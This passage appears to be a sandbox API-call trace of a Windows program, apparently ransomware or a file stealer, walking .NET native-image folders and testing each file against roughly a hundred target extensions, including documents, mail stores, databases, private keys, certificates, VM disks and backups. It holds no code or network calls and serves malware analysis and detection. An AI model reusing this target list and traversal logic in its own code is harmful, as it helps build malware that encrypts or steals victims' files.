(pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.qbm") returned 0 [0112.380] lstrlenA (lpString="*.qbm") returned 5 [0112.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.qbo") returned 0 [0112.380] lstrlenA (lpString="*.qbo") returned 5 [0112.380] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.qbx") returned 0 [0112.381] lstrlenA (lpString="*.qbx") returned 5 [0112.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.qba") returned 0 [0112.381] lstrlenA (lpString="*.qba") returned 5 [0112.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.qby") returned 0 [0112.381] lstrlenA (lpString="*.qby") returned 5 [0112.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.qbj") returned 0 [0112.381] lstrlenA (lpString="*.qbj") returned 5 [0112.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.ofx") returned 0 [0112.381] lstrlenA (lpString="*.ofx") returned 5 [0112.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.qif") returned 0 [0112.381] lstrlenA (lpString="*.qif") returned 5 [0112.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.mye") returned 0 [0112.381] lstrlenA (lpString="*.mye") returned 5 [0112.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.mbox") returned 0 [0112.381] lstrlenA (lpString="*.mbox") returned 6 [0112.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.eml") returned 0 [0112.381] lstrlenA (lpString="*.eml") returned 5 [0112.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.pst") returned 0 [0112.381] lstrlenA (lpString="*.pst") returned 5 [0112.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.ost") returned 0 [0112.381] lstrlenA (lpString="*.ost") returned 5 [0112.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.idx") returned 0 [0112.381] lstrlenA (lpString="*.idx") returned 5 [0112.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.dbx") returned 0 [0112.381] lstrlenA (lpString="*.dbx") returned 5 [0112.381] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.sql") returned 0 [0112.382] lstrlenA (lpString="*.sql") returned 5 [0112.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.mdb") returned 0 [0112.382] lstrlenA (lpString="*.mdb") returned 5 [0112.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.fdb") returned 0 [0112.382] lstrlenA (lpString="*.fdb") returned 5 [0112.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.wab") returned 0 [0112.382] lstrlenA (lpString="*.wab") returned 5 [0112.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.dat") returned 0 [0112.382] lstrlenA (lpString="*.dat") returned 5 [0112.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.txt") returned 0 [0112.382] lstrlenA (lpString="*.txt") returned 5 [0112.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.jpeg") returned 0 [0112.382] lstrlenA (lpString="*.jpeg") returned 6 [0112.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.jpg") returned 0 [0112.382] lstrlenA (lpString="*.jpg") returned 5 [0112.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.png") returned 0 [0112.382] lstrlenA (lpString="*.png") returned 5 [0112.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.php") returned 0 [0112.382] lstrlenA (lpString="*.php") returned 5 [0112.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.cs") returned 0 [0112.382] lstrlenA (lpString="*.cs") returned 4 [0112.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.cpp") returned 0 [0112.382] lstrlenA (lpString="*.cpp") returned 5 [0112.382] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.rar") returned 0 [0112.382] lstrlenA (lpString="*.rar") returned 5 [0112.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.zip") returned 0 [0112.383] lstrlenA (lpString="*.zip") returned 5 [0112.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.html") returned 0 [0112.383] lstrlenA (lpString="*.html") returned 6 [0112.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.htm") returned 0 [0112.383] lstrlenA (lpString="*.htm") returned 5 [0112.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.xlsx") returned 0 [0112.383] lstrlenA (lpString="*.xlsx") returned 6 [0112.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.xls") returned 0 [0112.383] lstrlenA (lpString="*.xls") returned 5 [0112.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.mp4") returned 0 [0112.383] lstrlenA (lpString="*.mp4") returned 5 [0112.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.ppt") returned 0 [0112.383] lstrlenA (lpString="*.ppt") returned 5 [0112.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.pptx") returned 0 [0112.383] lstrlenA (lpString="*.pptx") returned 6 [0112.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.doc") returned 0 [0112.383] lstrlenA (lpString="*.doc") returned 5 [0112.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.dot") returned 0 [0112.383] lstrlenA (lpString="*.dot") returned 5 [0112.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.docx") returned 0 [0112.383] lstrlenA (lpString="*.docx") returned 6 [0112.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.7z") returned 0 [0112.383] lstrlenA (lpString="*.7z") returned 4 [0112.383] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.tar") returned 0 [0112.384] lstrlenA (lpString="*.tar") returned 5 [0112.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.bz2") returned 0 [0112.384] lstrlenA (lpString="*.bz2") returned 5 [0112.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.gz") returned 0 [0112.384] lstrlenA (lpString="*.gz") returned 4 [0112.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.mkv") returned 0 [0112.384] lstrlenA (lpString="*.mkv") returned 5 [0112.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.eml") returned 0 [0112.384] lstrlenA (lpString="*.eml") returned 5 [0112.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.msg") returned 0 [0112.384] lstrlenA (lpString="*.msg") returned 5 [0112.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.edb") returned 0 [0112.384] lstrlenA (lpString="*.edb") returned 5 [0112.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.accdb") returned 0 [0112.384] lstrlenA (lpString="*.accdb") returned 7 [0112.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.odb") returned 0 [0112.384] lstrlenA (lpString="*.odb") returned 5 [0112.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.java") returned 0 [0112.384] lstrlenA (lpString="*.java") returned 6 [0112.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.asm") returned 0 [0112.384] lstrlenA (lpString="*.asm") returned 5 [0112.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.pfx") returned 0 [0112.384] lstrlenA (lpString="*.pfx") returned 5 [0112.384] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.pem") returned 0 [0112.384] lstrlenA (lpString="*.pem") returned 5 [0112.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.p12") returned 0 [0112.385] lstrlenA (lpString="*.p12") returned 5 [0112.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.gpg") returned 0 [0112.385] lstrlenA (lpString="*.gpg") returned 5 [0112.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.vsd") returned 0 [0112.385] lstrlenA (lpString="*.vsd") returned 5 [0112.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.odg") returned 0 [0112.385] lstrlenA (lpString="*.odg") returned 5 [0112.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.raw") returned 0 [0112.385] lstrlenA (lpString="*.raw") returned 5 [0112.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.nef") returned 0 [0112.385] lstrlenA (lpString="*.nef") returned 5 [0112.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.svg") returned 0 [0112.385] lstrlenA (lpString="*.svg") returned 5 [0112.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.psd") returned 0 [0112.385] lstrlenA (lpString="*.psd") returned 5 [0112.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.vmx") returned 0 [0112.385] lstrlenA (lpString="*.vmx") returned 5 [0112.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.vmdk") returned 0 [0112.385] lstrlenA (lpString="*.vmdk") returned 6 [0112.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.vdi") returned 0 [0112.385] lstrlenA (lpString="*.vdi") returned 5 [0112.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.lay6") returned 0 [0112.385] lstrlenA (lpString="*.lay6") returned 6 [0112.385] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.mpeg") returned 0 [0112.386] lstrlenA (lpString="*.mpeg") returned 6 [0112.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.djvu") returned 0 [0112.386] lstrlenA (lpString="*.djvu") returned 6 [0112.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.tiff") returned 0 [0112.386] lstrlenA (lpString="*.tiff") returned 6 [0112.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.backup") returned 0 [0112.386] lstrlenA (lpString="*.backup") returned 8 [0112.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.pdf") returned 0 [0112.386] lstrlenA (lpString="*.pdf") returned 5 [0112.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.cert") returned 0 [0112.386] lstrlenA (lpString="*.cert") returned 6 [0112.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.docm") returned 0 [0112.386] lstrlenA (lpString="*.docm") returned 6 [0112.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.xlsm") returned 0 [0112.386] lstrlenA (lpString="*.xlsm") returned 6 [0112.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.dwg") returned 0 [0112.386] lstrlenA (lpString="*.dwg") returned 5 [0112.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.nd") returned 0 [0112.386] lstrlenA (lpString="*.nd") returned 4 [0112.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.tlg") returned 0 [0112.386] lstrlenA (lpString="*.tlg") returned 5 [0112.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.lgb") returned 0 [0112.386] lstrlenA (lpString="*.lgb") returned 5 [0112.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.mov") returned 0 [0112.386] lstrlenA (lpString="*.mov") returned 5 [0112.386] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.xdw") returned 0 [0112.387] lstrlenA (lpString="*.xdw") returned 5 [0112.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.ods") returned 0 [0112.387] lstrlenA (lpString="*.ods") returned 5 [0112.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.wav") returned 0 [0112.387] lstrlenA (lpString="*.wav") returned 5 [0112.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.mp3") returned 0 [0112.387] lstrlenA (lpString="*.mp3") returned 5 [0112.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.aiff") returned 0 [0112.387] lstrlenA (lpString="*.aiff") returned 6 [0112.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.flac") returned 0 [0112.387] lstrlenA (lpString="*.flac") returned 6 [0112.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.m4a") returned 0 [0112.387] lstrlenA (lpString="*.m4a") returned 5 [0112.387] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.ComponentMod#\\560cb6a2e8f4877877b11de7c1f07d42\\System.ComponentModel.DataAnnotations.ni.dll", pszSpec="*.csv") returned 0 [0112.387] lstrlenA (lpString="*.csv") returned 5 [0112.387] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4d46d76, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x4d46d76, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x4d46d76, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x20400, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.ComponentModel.DataAnnotations.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 0 [0112.387] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0112.387] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x4d93036, ftCreationTime.dwHighDateTime=0x1cb8930, ftLastAccessTime.dwLowDateTime=0x4d93036, ftLastAccessTime.dwHighDateTime=0x1cb8930, ftLastWriteTime.dwLowDateTime=0x4d93036, ftLastWriteTime.dwHighDateTime=0x1cb8930, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="560cb6a2e8f4877877b11de7c1f07d42", cAlternateFileName="560CB6~1")) returned 0 [0112.387] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0112.388] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb00e8bd4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb00e8bd4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb00e8bd4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Configuratio#", cAlternateFileName="SYSTEM~2.CON")) returned 1 [0112.388] lstrcmpA (lpString1=".", lpString2="System.Configuratio#") returned -1 [0112.388] lstrcmpA (lpString1="..", lpString2="System.Configuratio#") returned -1 [0112.388] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\*.*") returned="*.*" [0112.388] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\", lpString2="System.Configuratio#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#" [0112.388] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#") returned 67 [0112.388] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v2.0.50727_64\\System.Configuratio#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xb00e8bd4, ftCreationTime.dwHighDateTime=0x1cb892f, ftLastAccessTime.dwLowDateTime=0xb00e8bd4, ftLastAccessTime.dwHighDateTime=0x1cb892f, ftLastWriteTime.dwLowDateTime=0xb00e8bd4, ftLastWriteTime.dwHighDateTime=0x1cb892f, nFileSizeHigh=0x0, nFileSizeLow=0x0, 